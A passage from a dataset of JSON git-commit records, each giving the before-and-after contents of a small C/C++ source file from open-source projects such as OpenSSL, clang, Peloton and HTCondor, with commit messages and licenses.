compiler macro\n\nReviewed By: int3, satnam6502\n\nDifferential Revision: D3970944\n\nfbshipit-source-id: 453bb43da0bfa5d3c61d38cd62cfb17b3983ce68\n","lang":"C","license":"mit","repos":"facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex,facebook\/redex"}
{"commit":"acc490b880c0719f2f07fa724f9802a0cb402a12","old_file":"include\/cppoptlib\/solver\/gradientdescentsolver.h","new_file":"include\/cppoptlib\/solver\/gradientdescentsolver.h","old_contents":"\/\/ CppNumericalSolver\n#ifndef GRADIENTDESCENTSOLVER_H_\n#define GRADIENTDESCENTSOLVER_H_\n\n#include <Eigen\/Dense>\n#include \"isolver.h\"\n#include \"..\/linesearch\/morethuente.h\"\n\nnamespace cppoptlib {\n\ntemplate<typename T>\nclass GradientDescentSolver : public ISolver<T, 1> {\n\n public:\n  \/**\n   * @brief minimize\n   * @details [long description]\n   *\n   * @param objFunc [description]\n   *\/\n  void minimize(Problem<T> &objFunc, Vector<T> & x0) {\n\n    Vector<T> direction(x0.rows());\n    size_t iter = 0;\n    T gradNorm = 0;\n    do {\n      objFunc.gradient(x0, direction);\n      const T rate = MoreThuente<T, decltype(objFunc), 1>::linesearch(x0, -direction, objFunc) ;\n      x0 = x0 - rate * direction;\n      gradNorm = direction.template lpNorm<Eigen::Infinity>();\n      \/\/ std::cout << \"iter: \"<<iter<< \" f = \" <<  objFunc.value(x0) << \" ||g||_inf \"<<gradNorm  << std::endl;\n      iter++;\n    } while ((gradNorm > this->settings_.gradTol) && (iter < this->settings_.maxIter));\n\n  }\n\n};\n\n} \/* namespace cppoptlib *\/\n\n#endif \/* GRADIENTDESCENTSOLVER_H_ *\/\n","new_contents":"\/\/ CppNumericalSolver\n#ifndef GRADIENTDESCENTSOLVER_H_\n#define GRADIENTDESCENTSOLVER_H_\n\n#include <Eigen\/Dense>\n#include \"isolver.h\"\n#include \"..\/linesearch\/morethuente.h\"\n\nnamespace cppoptlib {\n\ntemplate<typename T>\nclass GradientDescentSolver : public ISolver<T, 1> {\n\n public:\n  \/**\n   * @brief minimize\n   * @details [long description]\n   *\n   * @param objFunc [description]\n   *\/\n  void minimize(Problem<T> &objFunc, Vector<T> & x0) {\n\n    Vector<T> direction(x0.rows());\n    size_t iter = 0;\n    T gradNorm = 0;\n    do {\n      objFunc.gradient(x0, direction);\n      const T rate = MoreThuente<T, decltype(objFunc), 1>::linesearch(x0, -direction, objFunc) ;\n      x0 = x0 - rate * direction;\n      objFunc.applyBounds(x0);\n      gradNorm = direction.template lpNorm<Eigen::Infinity>();\n      \/\/ std::cout << \"iter: \"<<iter<< \" f = \" <<  objFunc.value(x0) << \" ||g||_inf \"<<gradNorm  << std::endl;\n      iter++;\n    } while ((gradNorm > this->settings_.gradTol) && (iter < this->settings_.maxIter));\n\n  }\n\n};\n\n} \/* namespace cppoptlib *\/\n\n#endif \/* GRADIENTDESCENTSOLVER_H_ *\/\n","subject":"Apply box constraints in GriadientDescentSolver.","message":"Apply box constraints in GriadientDescentSolver.\n","lang":"C","license":"mit","repos":"jdumas\/CppNumericalSolvers,jdumas\/CppNumericalSolvers,jdumas\/CppNumericalSolvers,jdumas\/CppNumericalSolvers"}
{"commit":"96b4eefd5026af81d7f4d6555737d625dd55ec33","old_file":"src\/win32\/jet_string_win.c","new_file":"src\/win32\/jet_string_win.c","old_contents":"","new_contents":"\/*\n*The MIT License (MIT)\n*\n* Copyright (c) <2017> <Stephan Gatzka>\n*\n* Permission is hereby granted, free of charge, to any person obtaining\n* a copy of this software and associated documentation files (the\n* \"Software\"), to deal in the Software without restriction, including\n* without limitation the rights to use, copy, modify, merge, publish,\n* distribute, sublicense, and\/or sell copies of the Software, and to\n* permit persons to whom the Software is furnished to do so, subject to\n* the following conditions:\n*\n* The above copyright notice and this permission notice shall be\n* included in all copies or substantial portions of the Software.\n*\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n* BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n* ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n* SOFTWARE.\n*\/\n\n#include <ctype.h>\n#include <stddef.h>\n#include <string.h>\n\n#include \"jet_string.h\"\n\nvoid *jet_memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen)\n{\n\tregister char *cur, *last;\n\tconst char *cl = (const char *)haystack;\n\tconst char *cs = (const char *)needle;\n\n\tif (haystacklen == 0 || needlelen == 0)\n\t\treturn NULL;\n\n\tif (haystacklen < needlelen)\n\t\treturn NULL;\n\n\tif (needlelen == 1)\n\t\treturn memchr(haystack, (int)*cs, haystacklen);\n\n\tlast = (char *)cl + haystacklen - needlelen;\n\n\tfor (cur = (char *)cl; cur <= last; cur++)\n\t\tif (cur[0] == cs[0] && memcmp(cur, cs, needlelen) == 0)\n\t\t\treturn cur;\n\n\treturn NULL;\n}\n\nconst char *jet_strcasestr(const char *haystack, const char *needle)\n{\n\tchar c, sc;\n\tsize_t len;\n\n\tif ((c = *needle++) != 0) {\n\t\tc = tolower((unsigned char)c);\n\t\tlen = strlen(needle);\n\t\tdo {\n\t\t\tdo {\n\t\t\t\tif ((sc = *haystack++) == 0)\n\t\t\t\t\treturn (NULL);\n\t\t\t} while ((char)tolower((unsigned char)sc) != c);\n\t\t} while (jet_strncasecmp(haystack, needle, len) != 0);\n\t\thaystack--;\n\t}\n\treturn (haystack);\n}\n\nint jet_strncasecmp(const char *s1, const char *s2, size_t n)\n{\n\treturn _strnicmp(s1, s2, n);\n}\n\nint jet_strcasecmp(const char *s1, const char *s2)\n{\n\treturn _stricmp(s1, s2);\n}\n","subject":"Add string manipulation functions for windows.","message":"Add string manipulation functions  for windows.\n","lang":"C","license":"mit","repos":"mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet"}
{"commit":"b0fab27e4614b0d716561983d516d3b47b8f078f","old_file":"include\/cpr\/curlholder.h","new_file":"include\/cpr\/curlholder.h","old_contents":"#ifndef CPR_CURL_HOLDER_H\n#define CPR_CURL_HOLDER_H\n\n#include <memory>\n\n#include <curl\/curl.h>\n\nnamespace cpr {\n\nstruct CurlHolder {\n    CURL* handle;\n    struct curl_slist* chunk;\n    char error[CURL_ERROR_SIZE];\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_CURL_HOLDER_H\n#define CPR_CURL_HOLDER_H\n\n#include <memory>\n\n#include <curl\/curl.h>\n\nnamespace cpr {\n\nstruct CurlHolder {\n    CURL* handle;\n    struct curl_slist* chunk;\n    struct curl_httppost* formpost;\n    char error[CURL_ERROR_SIZE];\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Add formpost pointer in curl handle","message":"Add formpost pointer in curl handle\n","lang":"C","license":"mit","repos":"msuvajac\/cpr,whoshuu\/cpr,msuvajac\/cpr,whoshuu\/cpr,msuvajac\/cpr,whoshuu\/cpr"}
{"commit":"8b9b074fcb831e16ff33062c1ad7065f00831341","old_file":"src\/include\/common\/config.h","new_file":"src\/include\/common\/config.h","old_contents":"\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         Peloton\n\/\/\n\/\/ config.h\n\/\/\n\/\/ Identification: src\/include\/common\/config.h\n\/\/\n\/\/ Copyright (c) 2015-16, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#pragma once\n\n#include <string>\n\nnamespace peloton {\n\nclass PelotonConfiguration {\n\n public:\n\n  static void PrintHelp();\n\n  int GetPort() const;\n\n  void SetPort(const int port);\n\n  int GetMaxConnections() const;\n\n  void SetMaxConnections(const int max_connections);\n\n  std::string GetSocketFamily() const;\n\n  void SetSocketFamily(const std::string& socket_family);\n\n protected:\n\n  \/\/ Peloton port\n  int port = 12345;\n\n  \/\/ Maximum number of connections\n  int max_connections = 64;\n\n  \/\/ Socket family (AF_UNIX, AF_INET)\n  std::string socket_family = \"AF_INET\";\n\n};\n\n}  \/\/ End peloton namespace\n","new_contents":"\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                         Peloton\n\/\/\n\/\/ config.h\n\/\/\n\/\/ Identification: src\/include\/common\/config.h\n\/\/\n\/\/ Copyright (c) 2015-16, Carnegie Mellon University Database Group\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\n#pragma once\n\n#include <string>\n\nnamespace peloton {\n\nclass PelotonConfiguration {\n\n public:\n\n  static void PrintHelp();\n\n  int GetPort() const;\n\n  void SetPort(const int port);\n\n  int GetMaxConnections() const;\n\n  void SetMaxConnections(const int max_connections);\n\n  std::string GetSocketFamily() const;\n\n  void SetSocketFamily(const std::string& socket_family);\n\n protected:\n\n  \/\/ Peloton port\n  int port = 5432;\n\n  \/\/ Maximum number of connections\n  int max_connections = 64;\n\n  \/\/ Socket family (AF_UNIX, AF_INET)\n  std::string socket_family = \"AF_INET\";\n\n};\n\n}  \/\/ End peloton namespace\n","subject":"Change default port number 5432","message":"Change default port number 5432\n","lang":"C","license":"apache-2.0","repos":"wangziqi2016\/peloton,malin1993ml\/peloton,eric-haibin-lin\/peloton-1,prashasthip\/peloton,AngLi-Leon\/peloton,apavlo\/peloton,seojungmin\/peloton,jessesleeping\/iso_peloton,AllisonWang\/peloton,apavlo\/peloton,seojungmin\/peloton,seojungmin\/peloton,yingjunwu\/peloton,wangziqi2016\/peloton,jessesleeping\/iso_peloton,malin1993ml\/peloton,apavlo\/peloton,AngLi-Leon\/peloton,vittvolt\/15721-peloton,cmu-db\/peloton,AllisonWang\/peloton,phisiart\/peloton-p3,prashasthip\/peloton,jessesleeping\/iso_peloton,yingjunwu\/peloton,yingjunwu\/peloton,malin1993ml\/peloton,cmu-db\/peloton,AngLi-Leon\/peloton,apavlo\/peloton,AllisonWang\/peloton,prashasthip\/peloton,PauloAmora\/peloton,ShuxinLin\/peloton,wangziqi2016\/peloton,PauloAmora\/peloton,haojin2\/peloton,malin1993ml\/peloton,prashasthip\/peloton,vittvolt\/peloton,jessesleeping\/iso_peloton,vittvolt\/15721-peloton,haojin2\/peloton,vittvolt\/peloton,vittvolt\/15721-peloton,seojungmin\/peloton,ShuxinLin\/peloton,vittvolt\/peloton,malin1993ml\/peloton,seojungmin\/peloton,eric-haibin-lin\/peloton-1,phisiart\/peloton-p3,wangziqi2016\/peloton,apavlo\/peloton,prashasthip\/peloton,AngLi-Leon\/peloton,eric-haibin-lin\/peloton-1,jessesleeping\/iso_peloton,cmu-db\/peloton,PauloAmora\/peloton,cmu-db\/peloton,PauloAmora\/peloton,ShuxinLin\/peloton,eric-haibin-lin\/peloton-1,vittvolt\/peloton,vittvolt\/peloton,phisiart\/peloton-p3,PauloAmora\/peloton,AllisonWang\/peloton,eric-haibin-lin\/peloton-1,yingjunwu\/peloton,ShuxinLin\/peloton,cmu-db\/peloton,AllisonWang\/peloton,prashasthip\/peloton,malin1993ml\/peloton,yingjunwu\/peloton,jessesleeping\/iso_peloton,ShuxinLin\/peloton,haojin2\/peloton,yingjunwu\/peloton,haojin2\/peloton,wangziqi2016\/peloton,apavlo\/peloton,AllisonWang\/peloton,seojungmin\/peloton,phisiart\/peloton-p3,phisiart\/peloton-p3,PauloAmora\/peloton,vittvolt\/peloton,AngLi-Leon\/peloton,ShuxinLin\/peloton,haojin2\/peloton,AngLi-Leon\/peloton,jessesleeping\/iso_peloton,wangziqi2016\/peloton,phisiart\/peloton-p3,cmu-db\/peloton,eric-haibin-lin\/peloton-1,vittvolt\/15721-peloton,vittvolt\/15721-peloton,vittvolt\/15721-peloton,haojin2\/peloton"}
{"commit":"aa6cb15c3969e2f711e98c3f3012efbe0679d87e","old_file":"src\/lms7002m\/mcu_programs.h","new_file":"src\/lms7002m\/mcu_programs.h","old_contents":"#ifndef LMS7_MCU_PROGRAMS_H\n#define LMS7_MCU_PROGRAMS_H\n\n#include \"LimeSuiteConfig.h\"\n#include <stdint.h>\n\n#define MCU_PROGRAM_SIZE 16384\n\n#define MCU_ID_DC_IQ_CALIBRATIONS 0x01\n#define MCU_ID_CALIBRATIONS_SINGLE_IMAGE 0x05\n\n#define MCU_FUNCTION_CALIBRATE_TX 1\n#define MCU_FUNCTION_CALIBRATE_RX 2\n#define MCU_FUNCTION_UPDATE_BW 3\n#define MCU_FUNCTION_UPDATE_REF_CLK 4\n#define MCU_FUNCTION_TUNE_TX_FILTER 5\n#define MCU_FUNCTION_TUNE_RX_FILTER 6\n#define MCU_FUNCTION_UPDATE_EXT_LOOPBACK_PAIR 9\n#define MCU_FUNCTION_CALIBRATE_TX_EXTLOOPB 17\n#define MCU_FUNCTION_CALIBRATE_RX_EXTLOOPB 18\n#define MCU_FUNCTION_AGC 10\n#define MCU_FUNCTION_GET_PROGRAM_ID 255\n\nLIME_API extern const uint8_t mcu_program_lms7_dc_iq_calibration_bin[16384];\n\n#endif\n\n","new_contents":"#ifndef LMS7_MCU_PROGRAMS_H\n#define LMS7_MCU_PROGRAMS_H\n\n#include \"LimeSuiteConfig.h\"\n#include <stdint.h>\n\n#define MCU_PROGRAM_SIZE 16384\n\n#define MCU_ID_DC_IQ_CALIBRATIONS 0x01\n#define MCU_ID_CALIBRATIONS_SINGLE_IMAGE 0x05\n\n#define MCU_FUNCTION_CALIBRATE_TX 1\n#define MCU_FUNCTION_CALIBRATE_RX 2\n#define MCU_FUNCTION_UPDATE_BW 3\n#define MCU_FUNCTION_UPDATE_REF_CLK 4\n#define MCU_FUNCTION_TUNE_RX_FILTER 5\n#define MCU_FUNCTION_TUNE_TX_FILTER 6\n#define MCU_FUNCTION_UPDATE_EXT_LOOPBACK_PAIR 9\n#define MCU_FUNCTION_CALIBRATE_TX_EXTLOOPB 17\n#define MCU_FUNCTION_CALIBRATE_RX_EXTLOOPB 18\n#define MCU_FUNCTION_AGC 10\n#define MCU_FUNCTION_GET_PROGRAM_ID 255\n\nLIME_API extern const uint8_t mcu_program_lms7_dc_iq_calibration_bin[16384];\n\n#endif\n\n","subject":"Fix MCU procedure ID definitions.","message":"Fix MCU procedure ID definitions.","lang":"C","license":"apache-2.0","repos":"myriadrf\/LimeSuite,myriadrf\/LimeSuite,myriadrf\/LimeSuite,myriadrf\/LimeSuite,myriadrf\/LimeSuite"}
{"commit":"8c78f0ec63f3e16bac1b888dbabf2b6c2d53a1ae","old_file":"include\/openssl\/ossl_typ.h","new_file":"include\/openssl\/ossl_typ.h","old_contents":"","new_contents":"\/*\n * Copyright 2019 The OpenSSL Project Authors. All Rights Reserved.\n *\n * Licensed under the Apache License 2.0 (the \"License\").  You may not use\n * this file except in compliance with the License.  You can obtain a copy\n * in the file LICENSE in the source distribution or at\n * https:\/\/www.openssl.org\/source\/license.html\n *\/\n\n\/*\n * The original <openssl\/ossl_typ.h> was renamed to <openssl\/types.h>\n *\n * This header file only exists for compatibility reasons with older\n * applications which #include <openssl\/ossl_typ.h>.\n *\/\n# include <openssl\/types.h>\n","subject":"Reorganize public header files (part 2)","message":"Reorganize public header files (part 2)\n\nAdd an <openssl\/ossl_typ.h> compatibility header.\n\nReviewed-by: Richard Levitte <5fb523282dd7956571c80524edc2dccfa0bd8234@openssl.org>\n(Merged from https:\/\/github.com\/openssl\/openssl\/pull\/9333)\n","lang":"C","license":"apache-2.0","repos":"openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl,openssl\/openssl"}
{"commit":"a703dbcdce9b95fc4a6ae294b03a5a8707b16f4d","old_file":"test\/Driver\/response-file-extra-whitespace.c","new_file":"test\/Driver\/response-file-extra-whitespace.c","old_contents":"\/\/ Check that clang is able to process response files with extra whitespace.\n\/\/ We generate a dos-style file with \\r\\n for line endings, and then split\n\/\/ some joined arguments (like \"-x c\") across lines to ensure that regular\n\/\/ clang (not clang-cl) can process it correctly.\n\/\/\n\/\/ RUN: echo -en \"-x\\r\\nc\\r\\n-DTEST\\r\\n\" > %t.0.txt\n\/\/ RUN: %clang -E @%t.0.txt %s -v 2>&1 | FileCheck %s -check-prefix=SHORT\n\/\/ SHORT: extern int it_works;\n\n#ifdef TEST\nextern int it_works;\n#endif\n","new_contents":"\/\/ Check that clang is able to process response files with extra whitespace.\n\/\/ We generate a dos-style file with \\r\\n for line endings, and then split\n\/\/ some joined arguments (like \"-x c\") across lines to ensure that regular\n\/\/ clang (not clang-cl) can process it correctly.\n\/\/\n\/\/ RUN: printf \" -x\\r\\nc\\r\\n-DTEST\\r\\n\" > %t.0.txt\n\/\/ RUN: %clang -E @%t.0.txt %s -v 2>&1 | FileCheck %s -check-prefix=SHORT\n\/\/ SHORT: extern int it_works;\n\n#ifdef TEST\nextern int it_works;\n#endif\n","subject":"Use printf instead of \"echo -ne\".","message":"Use printf instead of \"echo -ne\".\n\nNot all echo commands support \"-e\".\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@285162 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"83d1847a56a08c8b44dcde86d58bdf9429b0642f","old_file":"test\/test_codegen_retval.c","new_file":"test\/test_codegen_retval.c","old_contents":"","new_contents":"\/\/ RUN: clang %s -emit-llvm -O0 -o - -S | FileCheck %s\n\n#include <enerc.h>\n\nint main () {\n    return 0;\n}\n\nint fp(int p) {\n    return p * 2;\n    \/\/ CHECK: ret i32 %mul, !quals !0\n}\n\nAPPROX int fa(int p) {\n    return p * 2;\n    \/\/ CHECK: ret i32 %mul, !quals !1\n}\n\nint fp2(int p) {\n    if (p > 2) {\n        return p * 3;\n        \/\/ CHECK: store i32 %mul, i32* %retval, !quals !0\n    } else {\n        return p + 3;\n        \/\/ CHECK: store i32 %add, i32* %retval, !quals !0\n    }\n    \/\/ CHECK: ret i32 %3, !quals !0\n}\n\nAPPROX int fa2(int p) {\n    if (p > 2) {\n        return p * 3;\n        \/\/ CHECK: store i32 %mul, i32* %retval, !quals !1\n    } else {\n        return p + 3;\n        \/\/ CHECK: store i32 %add, i32* %retval, !quals !1\n    }\n    \/\/ CHECK: ret i32 %3, !quals !1\n}\n\n\/\/ CHECK: !0 = metadata !{i32 0}\n\/\/ CHECK: !1 = metadata !{i32 1}\n","subject":"Test for return value codegen","message":"Test for return value codegen\n","lang":"C","license":"mit","repos":"uwsampa\/accept,jck\/accept,jck\/accept,jck\/accept,uwsampa\/accept,jck\/accept,uwsampa\/accept,uwsampa\/accept"}
{"commit":"8418da4072b1579a7b51c13468bc36d0c2335255","old_file":"src\/condor_ckpt\/machdep.h","new_file":"src\/condor_ckpt\/machdep.h","old_contents":"#if defined(ULTRIX42)\n\n\textern \"C\" int brk( void * );\n\textern \"C\" void *sbrk( int );\n\ttypedef void (*SIG_HANDLER)();\n\n#elif defined(ULTRIX43)\n\n\textern \"C\" char *brk( char * );\n\textern \"C\" char *sbrk( int );\n\ttypedef void (*SIG_HANDLER)();\n\n#elif defined(SUNOS41)\n\n\textern \"C\" int brk( void * );\n\textern \"C\" void *sbrk( int );\n\ttypedef void (*SIG_HANDLER)();\n\n#elif defined(OSF1)\n\n\textern \"C\" int brk( void * );\n#\tinclude <sys\/types.h>\n\textern \"C\" void *sbrk( ssize_t );\n\ttypedef void (*SIG_HANDLER)( int );\n\n#elif defined(HPUX9)\n\n\textern \"C\" int brk( const void * );\n\textern \"C\" void *sbrk( int );\n#\tinclude <signal.h>\n\ttypedef void (*SIG_HANDLER)( __harg );\n\n\n#else\n\n#\terror UNKNOWN PLATFORM\n\n#endif\n","new_contents":"#if defined(ULTRIX42)\n\n\textern \"C\" int brk( void * );\n\textern \"C\" void *sbrk( int );\n\ttypedef void (*SIG_HANDLER)();\n\n#elif defined(ULTRIX43)\n\n\textern \"C\" char *brk( char * );\n\textern \"C\" char *sbrk( int );\n\ttypedef void (*SIG_HANDLER)();\n\n#elif defined(SUNOS41)\n\n\textern \"C\" int brk( void * );\n\textern \"C\" void *sbrk( int );\n\ttypedef void (*SIG_HANDLER)();\n\n#elif defined(OSF1)\n\n\textern \"C\" int brk( void * );\n#\tinclude <sys\/types.h>\n\textern \"C\" void *sbrk( ssize_t );\n\ttypedef void (*SIG_HANDLER)( int );\n\n#elif defined(HPUX9)\n\n\textern \"C\" int brk( const void * );\n\textern \"C\" void *sbrk( int );\n#\tinclude <signal.h>\n\ttypedef void (*SIG_HANDLER)( __harg );\n\n#elif defined(AIX32)\n\n\textern \"C\" int brk( void * );\n\textern \"C\" void *sbrk( int );\n\ttypedef void (*SIG_HANDLER)( int );\n\n#else\n\n#\terror UNKNOWN PLATFORM\n\n#endif\n","subject":"Add definitions for AIX 3.2.","message":"Add definitions for AIX 3.2.\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,djw8605\/condor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/condor,neurodebian\/htcondor,htcondor\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,neurodebian\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,clalancette\/condor-dcloud,clalancette\/condor-dcloud,htcondor\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,htcondor\/htcondor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,djw8605\/condor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/condor,djw8605\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,htcondor\/htcondor,clalancette\/condor-dcloud"}
{"commit":"84cfb518f0b28578c264ee27f76c9c4003c12040","old_file":"windows.h","new_file":"windows.h","old_contents":"\/*\n    This is part of pyahocorasick Python module.\n    \n    Windows declarations\n\n    Author    : Wojciech Muła, wojciech_mula@poczta.onet.pl\n    WWW       : http:\/\/0x80.pl\n    License   : BSD-3-Clause (see LICENSE)\n*\/\n\n#ifndef PYAHCORASICK_WINDOWS_H__\n#define PYAHCORASICK_WINDOWS_H__\n\ntypedef unsigned char       uint8_t;\ntypedef short unsigned int  uint16_t;\n\n#define PY_OBJECT_HEAD_INIT\tPyVarObject_HEAD_INIT(NULL, 0)\n\n#endif\n","new_contents":"\/*\n    This is part of pyahocorasick Python module.\n    \n    Windows declarations\n\n    Author    : Wojciech Muła, wojciech_mula@poczta.onet.pl\n    WWW       : http:\/\/0x80.pl\n    License   : BSD-3-Clause (see LICENSE)\n*\/\n\n#ifndef PYAHCORASICK_WINDOWS_H__\n#define PYAHCORASICK_WINDOWS_H__\n\ntypedef unsigned char       uint8_t;\ntypedef short unsigned int  uint16_t;\ntypedef unsigned int        uint32_t;\n\n#define PY_OBJECT_HEAD_INIT\tPyVarObject_HEAD_INIT(NULL, 0)\n\n#endif\n","subject":"Add custom def for uint32_t","message":"Add custom def for uint32_t\n","lang":"C","license":"bsd-3-clause","repos":"pombredanne\/pyahocorasick,WojciechMula\/pyahocorasick,WojciechMula\/pyahocorasick,WojciechMula\/pyahocorasick,woakesd\/pyahocorasick,pombredanne\/pyahocorasick,woakesd\/pyahocorasick,pombredanne\/pyahocorasick,WojciechMula\/pyahocorasick,pombredanne\/pyahocorasick"}
{"commit":"55e3f242fddf4256c96878167d432e176b9650c8","old_file":"source\/common\/math.h","new_file":"source\/common\/math.h","old_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef MATH_H\n#define MATH_H\n\n\nnamespace Common {\n\ntemplate<typename T>\ninline T Min(const T& a, const T& b) {\n\treturn a < b ? a : b;\n}\n\ntemplate<typename T>\ninline T Max(const T& a, const T& b) {\n\treturn a > b ? a : b;\n}\n\ntemplate<typename T>\ninline T Lerp(const T& a, const T& b, float t) {\n\treturn a + (b - a)*t;\n}\n\ntemplate<typename T>\ninline T Clamp(const T& x, const T& low, const T& high) {\n\treturn x < low ? low : (x > high ? high : x);\n}\n\n} \/\/ End of namespace Common\n\n#endif \/\/ MATHHELPER_H","new_contents":"\/* The Halfling Project - A Graphics Engine and Projects\n *\n * The Halfling Project is the legal property of Adrian Astley\n * Copyright Adrian Astley 2013\n *\/\n\n#ifndef MATH_H\n#define MATH_H\n\n#include \"common\/halfling_sys.h\"\n\n\nnamespace Common {\n\ntemplate<typename T>\ninline T Min(const T& a, const T& b) {\n\treturn a < b ? a : b;\n}\n\ntemplate<typename T>\ninline T Max(const T& a, const T& b) {\n\treturn a > b ? a : b;\n}\n\ntemplate<typename T>\ninline T Lerp(const T& a, const T& b, float t) {\n\treturn a + (b - a)*t;\n}\n\ntemplate<typename T>\ninline T Clamp(const T& x, const T& low, const T& high) {\n\treturn x < low ? low : (x > high ? high : x);\n}\n\n\/\/ Returns random float in [0, 1).\nstatic float RandF() {\n\treturn (float)(rand()) \/ (float)RAND_MAX;\n}\n\n\/\/ Returns random float in [a, b).\nstatic float RandF(float a, float b) {\n\treturn a + RandF()*(b - a);\n}\n\n} \/\/ End of namespace Common\n\n#endif \/\/ MATHHELPER_H","subject":"Create helper functions for creating random floats","message":"COMMON: Create helper functions for creating random floats\n","lang":"C","license":"apache-2.0","repos":"RichieSams\/thehalflingproject,RichieSams\/thehalflingproject,RichieSams\/thehalflingproject"}
{"commit":"e95f31e37ff53c7030e335d58c484e30514a4805","old_file":"libs\/minzip\/inline_magic.h","new_file":"libs\/minzip\/inline_magic.h","old_contents":"\/*\n * Copyright (C) 2007 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MINZIP_INLINE_MAGIC_H_\n#define MINZIP_INLINE_MAGIC_H_\n\n#ifndef MINZIP_GENERATE_INLINES\n#define INLINE extern __inline__\n#else\n#define INLINE\n#endif\n\n#endif  \/\/ MINZIP_INLINE_MAGIC_H_\n","new_contents":"\/*\n * Copyright (C) 2007 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MINZIP_INLINE_MAGIC_H_\n#define MINZIP_INLINE_MAGIC_H_\n\n#ifndef MINZIP_GENERATE_INLINES\n#define INLINE extern inline __attribute((__gnu_inline__))\n#else\n#define INLINE\n#endif\n\n#endif  \/\/ MINZIP_INLINE_MAGIC_H_\n","subject":"Fix multiple defined symbol errors","message":"Fix multiple defined symbol errors\n\nUse of __inline__ by projects in bootable\/* was causing problems with\nclang. Following the BKM and replaced use of __inline__ with\n__attribute((__gnu_inline)).\n\nChange-Id: If4ccfded685bb2c9d9c23c9b92ee052208399ef0\nAuthor: Edwin Vane <7f62528bc61ebf7c7c86be496bd30af8ee2167eb@intel.com>\nReviewed-by: Kevin P Schoedel 